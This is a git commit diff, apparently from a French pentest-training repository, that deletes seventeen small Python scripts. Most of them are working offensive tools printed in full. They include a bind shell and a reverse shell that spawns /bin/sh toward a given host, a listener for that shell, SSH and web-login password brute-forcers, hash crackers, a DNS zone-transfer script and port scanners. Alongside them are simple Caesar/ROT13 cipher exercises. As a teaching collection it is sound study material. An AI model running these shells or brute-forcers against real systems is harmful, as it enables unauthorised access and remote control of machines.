summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorjerome <jerome@xlinfo.fr>2025-10-12 17:41:22 +0200
committerjerome <jerome@xlinfo.fr>2025-10-12 17:41:22 +0200
commitba41fa46e69dbb264dfbed1b9fca5daab44a07c7 (patch)
treed9c6eeee3a32b0d5a004f2846882868c29ba531c
parentec7b5913698416b775665a871a0d4102b47c680c (diff)
downloadpython-ba41fa46e69dbb264dfbed1b9fca5daab44a07c7.tar.gz
python-ba41fa46e69dbb264dfbed1b9fca5daab44a07c7.zip
organisation
-rw-r--r--bindshell.py31
-rw-r--r--bruteSSH.py30
-rw-r--r--bruteWeb.py37
-rw-r--r--cesar.py50
-rw-r--r--chat_client.py26
-rw-r--r--chat_server.py29
-rw-r--r--crack_hash.py33
-rw-r--r--crack_md5.py24
-rw-r--r--dns_zone_xfer.py30
-rw-r--r--nmapscanner.py34
-rw-r--r--reverseshell.py18
-rw-r--r--reverseshell_listener.py36
-rw-r--r--rot13.py16
-rw-r--r--scan.py25
-rw-r--r--sshClient.py24
-rw-r--r--testcesar.py8
-rw-r--r--webClient.py16
17 files changed, 0 insertions, 467 deletions
diff --git a/bindshell.py b/bindshell.py
deleted file mode 100644
index 5213002..0000000
--- a/bindshell.py
+++ /dev/null
@@ -1,31 +0,0 @@
-#!/usr/bin/env python
-
-import sys, os, socket
-
-def bindshell(port):
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind(('',port))
- s.listen()
- conn,addr = s.accept()
- while 1:
- data = conn.recv(1024)
- reponse = os.popen(data.decode().strip()).read()
- conn.sendall(str(reponse).encode())
- except KeyboardInterrupt:
- s.close()
- finally:
- print("bye")
-
-if __name__ == "__main__":
- try:
- bindshell(int(sys.argv[1]))
- except IndexError:
- print(f"{sys.argv[0]} demande un port en agument")
-
-
-
-
-
-
-
diff --git a/bruteSSH.py b/bruteSSH.py
deleted file mode 100644
index 32c93cb..0000000
--- a/bruteSSH.py
+++ /dev/null
@@ -1,30 +0,0 @@
-import paramiko, sys
-
-def bruteforce(hostname, username, password):
- client = paramiko.SSHClient()
- client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- client.connect(hostname, username=username, password=password)
- except paramiko.ssh_exception.AuthenticationException:
- print("erreur : ",password)
- #pass
- else:
- print("trouvé : ",password)
- return True
- finally:
- client.close()
-
-if __name__ == "__main__":
- hostname = sys.argv[1]
- username = sys.argv[2]
- dico = sys.argv[3]
- try:
- with open(dico, 'r') as wordlist:
- for ligne in wordlist.readlines():
- password=ligne.strip()
- if bruteforce(hostname,username,password)==True:
- sys.exit()
- except IndexError:
- print(f"{sys.argv[0]} demande un hôte, un username et une liste de passwords en arguments")
-
-
diff --git a/bruteWeb.py b/bruteWeb.py
deleted file mode 100644
index e75cde1..0000000
--- a/bruteWeb.py
+++ /dev/null
@@ -1,37 +0,0 @@
-import sys
-import requests
-
-def bruteforce(method,url,username,password,error_msg):
- if method == "post":
- reponse=requests.post(url,data={
- "username":username,
- "password":password
- })
- elif method == "get":
- reponse=requests.get(url,params={
- "username":username,
- "password":password
- })
-
- if error_msg in reponse.text:
- #print("erreur : ",password)
- pass
- else:
- print("trouvé : ",password)
- return True
-
-if __name__ == "__main__":
- method = sys.argv[1]
- url = sys.argv[2]
- username = sys.argv[3]
- dico = sys.argv[4]
- error_msg= sys.argv[5]
- with open(dico, 'r') as wordlist:
- for ligne in wordlist.readlines():
- # le fichier nmap.lst à des commentaires en début de fichier
- if ligne[0] != "#":
- password=ligne.strip()
- if bruteforce(method,url,username,password,error_msg)==True:
- sys.exit()
-
-
diff --git a/cesar.py b/cesar.py
deleted file mode 100644
index cc58d8f..0000000
--- a/cesar.py
+++ /dev/null
@@ -1,50 +0,0 @@
-#!/usr/bin/env python
-
-import string
-
-
-def decalage(char, key):
- liste = list(string.ascii_lowercase)*2 + list(string.ascii_uppercase)*2
- #print(liste)
- if char not in liste:
- return char
- else:
- return liste[liste.index(char)+key]
-
-# print(decalage("a",3))
-
-
-print("********************")
-print("Chiffrement de César")
-print("********************")
-
-menu = ["c) Chiffrer un message", "d) Dechiffrer un message", "q) Quitter"]
-
-while True:
- for choix in menu:
- print(choix)
- rep = input("Votre choix : ")
- match rep.lower():
- case "c":
- msgChiffre = str()
- msg = input("Votre message : ")
- clef = int(input("Entrez votre clef (entre 1 et 25) : "))
- for lettre in msg:
- #msgChiffre = msgChiffre + decalage(lettre,clef)
- msgChiffre += decalage(lettre, clef)
- print("\nVotre message chiffré : ", msgChiffre, "\n")
- print("********************")
- msg = ""
- msgChiffre = ""
- case "d":
- msg = str()
- msgChiffre = input("Votre message : ")
- for clef in range(25,0,-1):
- for lettre in msgChiffre:
- msg += decalage(lettre, clef)
- print(f"rot{26-clef} : {msg}")
- msg = ""
- print("********************")
- case "q":
- print("bye")
- exit()
diff --git a/chat_client.py b/chat_client.py
deleted file mode 100644
index affc1d3..0000000
--- a/chat_client.py
+++ /dev/null
@@ -1,26 +0,0 @@
-#!/usr/bin/env python3
-
-import sys,socket,os
-
-def chat_client(host,port):
- whoami = os.getenv("USER")
- try:
- s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.connect((host,port))
- while True:
- message = input("moi > ")
- message = whoami+" > "+message # à commenter pour le bindshell
- s.sendall(message.encode())
- data = s.recv(1024)
- print(data.decode().strip())
- except KeyboardInterrupt:
- s.close()
- finally:
- print("bye")
-
-if __name__ == "__main__":
- try:
- chat_client(sys.argv[1],int(sys.argv[2]))
- except IndexError:
- print(f"{sys.argv[0]} demande un hôte où se connecter et un numéro de port")
-
diff --git a/chat_server.py b/chat_server.py
deleted file mode 100644
index aecf8c9..0000000
--- a/chat_server.py
+++ /dev/null
@@ -1,29 +0,0 @@
-#!/usr/bin/env python3
-
-import sys,socket,os
-
-def chat_server(port):
- whoami = os.getenv("USER")
- try:
- s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.bind(('',port))
- s.listen()
- conn,addr = s.accept()
- print(f"Connexion depuis {addr[0]} sur le port {addr[1]}")
- while True:
- data = conn.recv(1024)
- print(data.decode())
- reponse = input("moi > ")
- reponse = whoami+" > "+reponse
- conn.sendall(reponse.encode().strip())
- except KeyboardInterrupt:
- s.close()
- finally:
- print("bye")
-
-if __name__ == "__main__":
- try:
- chat_server(int(sys.argv[1]))
- except IndexError:
- print(f"{sys.argv[0]} demande un numéro de port en argument")
-
diff --git a/crack_hash.py b/crack_hash.py
deleted file mode 100644
index b51cec7..0000000
--- a/crack_hash.py
+++ /dev/null
@@ -1,33 +0,0 @@
-#!/usr/bin/env python
-"""crack_hash module"""
-import sys
-import hashlib
-import argparse
-
-
-
-def crack_hash(hashlist, wordlist, hashsum):
- """
- Args:
- hashlist la liste de hashes à trouver
- wordlist: le dictionnaire
- hashsum: la somme de controle : md5,sha256 ou sha512
- """
- with open(hashlist,"r") as fichier1:
- hashes=fichier1.readlines()
- for hash in hashes:
- with open(wordlist, "r") as fichier2:
- lignes = fichier2.readlines()
- for ligne in lignes:
- if getattr(hashlib,hashsum)(ligne.strip().encode()).hexdigest() == hash.strip():
- print(f"trouvé: {ligne.strip()}")
- break
-
-if __name__ == "__main__":
- parser = argparse.ArgumentParser()
- parser.add_argument('hashlist', help='La liste de hash à trouver')
- parser.add_argument('wordlist', help='Le dictionnaire choisi')
- parser.add_argument('hashsum', help='la somme de contrôle : md5,sha256 ou sha512')
- parser.parse_args()
- crack_hash(sys.argv[1], sys.argv[2], sys.argv[3])
-
diff --git a/crack_md5.py b/crack_md5.py
deleted file mode 100644
index 00bac2b..0000000
--- a/crack_md5.py
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/usr/bin/env python
-"""crack_md5 module"""
-import sys
-import hashlib
-
-def crack_md5(hash, wordlist):
- """
- Args:
- hash : le hash à trouver
- wordlist: le dictionnaire
- """
- with open(wordlist, "r") as fichier:
- lignes = fichier.readlines()
- for ligne in lignes:
- if hashlib.md5(ligne.strip().encode()).hexdigest() == hash.strip():
- print(f"trouvé: {ligne.strip()}")
- break
-
-if __name__ == "__main__":
- try:
- crack_md5(sys.argv[1], sys.argv[2])
- except IndexError:
- print(f"{sys.argv[0]} demande des arguments. Voir l'aide.")
-
diff --git a/dns_zone_xfer.py b/dns_zone_xfer.py
deleted file mode 100644
index 9459cc2..0000000
--- a/dns_zone_xfer.py
+++ /dev/null
@@ -1,30 +0,0 @@
-#!/bin/python3
-import dns.resolver
-import dns.zone
-
-def dns_zone_xfer(address):
- ns_answer = dns.resolver.resolve(address, 'NS')
- for server in ns_answer:
- print("[*] Found NS: {}".format(server))
- ip_answer = dns.resolver.resolve(server.target, 'A')
- for ip in ip_answer:
- print("[*] IP for {} is {}".format(server, ip))
- try:
- zone = dns.zone.from_xfr(dns.query.xfr(str(ip), address))
- hosts = zone.nodes.keys() # a node is a set of rdatasets
- for host in hosts:
- print(zone[host].to_text(host)) # convert a node to text format
- except dns.xfr.TransferError:
- print("[*] NS {} refused zone transfer !".format(server))
- continue
- except dns.exception.FormError:
- print("No answer or RRset for {}".format(address))
- continue
-
-#dns_zone_xfer('megacorpone.com')
-if __name__ == "__main__":
- import sys
- try:
- dns_zone_xfer(sys.argv[1])
- except IndexError:
- print(f"{sys.argv[0]} demande un nom de domaine en argument")
diff --git a/nmapscanner.py b/nmapscanner.py
deleted file mode 100644
index 5cd0659..0000000
--- a/nmapscanner.py
+++ /dev/null
@@ -1,34 +0,0 @@
-import sys
-import nmap
-
-def nmscan(hosts,ports,arguments='-sV'):
- nm = nmap.PortScanner()
- nm.scan(hosts,ports,arguments)
-
-
- for host in nm.all_hosts():
- print('----------------------------------------------------')
- print('Host : %s (%s)' % (host, nm[host].hostname()))
- print('State : %s' % nm[host].state())
- for proto in nm[host].all_protocols():
- print('----------')
- print('Protocol : %s' % proto)
-
- lport = nm[host][proto].keys()
- #lport.sort()
- for port in lport:
- print("Port : {}\tState : {}\tService : {} ({} - {})".format(port, nm[host][proto][port]['state'], nm[host][proto][port]['name'], nm[host][proto][port]['product'], nm[host][proto][port]['version']))
-
-# nmscan("xlinfo.fr","22-443")
-# nmscan("xlinfo.fr","53","-sU -sV") en sudo...
-# nmscan("192.168.2.0/24","22")
-
-if __name__ == "__main__" :
- try:
- if len(sys.argv) > 3:
- nmscan(sys.argv[1],sys.argv[2],sys.argv[3])
- else:
- nmscan(sys.argv[1],sys.argv[2])
- except:
- print(f"{sys.argv[0]} demande un ou plusieurs hôtes, une liste de ports, et des arguments optionnels")
-
diff --git a/reverseshell.py b/reverseshell.py
deleted file mode 100644
index fc7e860..0000000
--- a/reverseshell.py
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/usr/bin/env python
-
-import sys, os, socket
-
-def reverseshell(host,port):
- s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.connect((host,port))
- os.dup2(s.fileno(),0)
- os.dup2(s.fileno(),1)
- os.dup2(s.fileno(),2)
- os.system("/bin/sh -i")
-
-if __name__ == "__main__":
- try:
- reverseshell(sys.argv[1],int(sys.argv[2]))
- except IndexError:
- print(f"{sys.argv[0]} demande un hôte et un port en agument")
-
diff --git a/reverseshell_listener.py b/reverseshell_listener.py
deleted file mode 100644
index 23eb39a..0000000
--- a/reverseshell_listener.py
+++ /dev/null
@@ -1,36 +0,0 @@
-#!/usr/bin/env python
-
-import sys,socket,time
-
-def chat_server(port):
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind(('',port))
- s.listen()
- conn,addr = s.accept()
- print(f"Connexion depuis {addr[0]} sur le port {addr[1]}")
- while True:
- data = conn.recv(4096)
- print(data.decode(),end="")
- command = input()
- command += "\n"
- conn.send(command.encode())
- time.sleep(0.1)
- except KeyboardInterrupt:
- s.close()
- finally:
- print("bye")
-
-if __name__ == "__main__":
- try:
- chat_server(int(sys.argv[1]))
- except IndexError:
- print(f"{sys.argv[0]} demande un port en agument")
-
-
-
-
-
-
-
-
diff --git a/rot13.py b/rot13.py
deleted file mode 100644
index b2730f1..0000000
--- a/rot13.py
+++ /dev/null
@@ -1,16 +0,0 @@
-#!/usr/bin/env python
-
-import string
-
-def rot13(char):
- liste = list(string.ascii_lowercase)*2 + list(string.ascii_uppercase)*2
- if char not in liste:
- return char
- else:
- return liste[liste.index(char)+13]
-
-msg = input("Votre message : ")
-msgChiffre = str()
-for lettre in msg:
- msgChiffre = msgChiffre + rot13(lettre)
-print(msgChiffre)
diff --git a/scan.py b/scan.py
deleted file mode 100644
index 38150b2..0000000
--- a/scan.py
+++ /dev/null
@@ -1,25 +0,0 @@
-import sys
-import socket
-
-def scan(host,*ports):
- for port in ports:
- s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.settimeout(2) # Set a 2-second timeout
- addr_server=(host,int(port))
- tentative=s.connect_ex(addr_server) #connect_ex renvoie 0 en cas de succès...
- if tentative==0:
- print(f"Le port {port} ouvert")
- try:
- print(s.recv(1024).decode().strip())
- except TimeoutError:
- pass
- else:
- print(f"Le port {port} fermé")
- s.close()
-
-if __name__ == "__main__" :
- try:
- scan(sys.argv[1],*sys.argv[2:])
- except:
- print(f"{sys.argv[0]} demande un hôte et une liste de ports en arguments")
-
diff --git a/sshClient.py b/sshClient.py
deleted file mode 100644
index 41dabb4..0000000
--- a/sshClient.py
+++ /dev/null
@@ -1,24 +0,0 @@
-import sys, paramiko, getpass
-
-def sshClient(hostname,port,cmd,username,password):
- client = paramiko.SSHClient()
- client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- client.connect(hostname,port=port,username=username, password=password)
- _stdin, _stdout,_stderr = client.exec_command(cmd)
- print(_stdout.read().decode())
- except paramiko.ssh_exception.AuthenticationException:
- print("Erreur d'authenfication !")
- finally:
- client.close()
-
-if __name__ == "__main__":
- try:
- hostname = sys.argv[1]
- port = sys.argv[2]
- cmd = sys.argv[3]
- username = input("Nom d'utilisateur : ")
- password = getpass.getpass()
- sshClient(hostname,port,cmd,username,password)
- except IndexError:
- print(f"{sys.argv[0]} demande des arguments")
diff --git a/testcesar.py b/testcesar.py
deleted file mode 100644
index 292279b..0000000
--- a/testcesar.py
+++ /dev/null
@@ -1,8 +0,0 @@
-#!/usr/bin/env python
-print("""Cesar a perdu sa clef pour déchiffrer son mot de passe "Whkhdhu" !
-Aide-le à le retrouver pour avoir ton Flag !""")
-pwd = input("Le mot de passe (q pour quitter) : ")
-if pwd == "Padawan":
- print("Bien joué, ton flag est AAAAAA ! ")
-else:
- print("Désolé ! Essaie-encore...")
diff --git a/webClient.py b/webClient.py
deleted file mode 100644
index 4bd6ac2..0000000
--- a/webClient.py
+++ /dev/null
@@ -1,16 +0,0 @@
-#!/usr/bin/env python
-
-import requests
-
-def webClient(url,username,os):
- response = requests.get(url,params={
- "username": username,
- "os": os
- })
- print(response.text)
-
-webClient("http://10.20.236.161:4444/page.php","jerome","Linux")
-
-
-
-